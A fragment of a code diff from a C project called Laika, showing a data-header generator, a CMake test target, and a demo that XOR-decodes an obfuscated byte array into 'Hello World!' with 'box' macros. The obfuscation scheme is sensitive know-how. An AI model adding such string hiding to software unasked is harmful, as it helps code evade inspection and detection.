MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
@@ -88,8 +104,8 @@ int main(int argv, char **argc) {
fprintf(out, POSTAMBLE);
fclose(out);
printf("Wrote %s\n", argc[1]);
printf("Laika VMBox data header dumped to '%s'\n", fileName);
return 0;
}
#undef MAKEDATA
#undef MAKESKIDDATA

View File

@@ -10,5 +10,3 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(vmTest ${VMTESTSOURCE})
target_link_libraries(vmTest PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

View File

@@ -1,21 +1,26 @@
#include "core/lbox.h"
#include "core/lvm.h"
#include <stdio.h>
#include <string.h>
#include "lvm.h"
#include "lbox.h"
/* VM BOX Demo:
A secret message has been xor'd, the BOX_SKID is used to decode the message.
*/
/* clang-format off */
#define VMTEST_STR_DATA { \
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \
0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */ \
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \
};
int main(int argv, char **argc) {
LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
/* clang-format on */
int main(int argv, char **argc)
{
LAIKA_BOX_STARTVAR(char *, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
printf("%s\n", str);
LAIKA_BOX_ENDVAR(str)
return 0;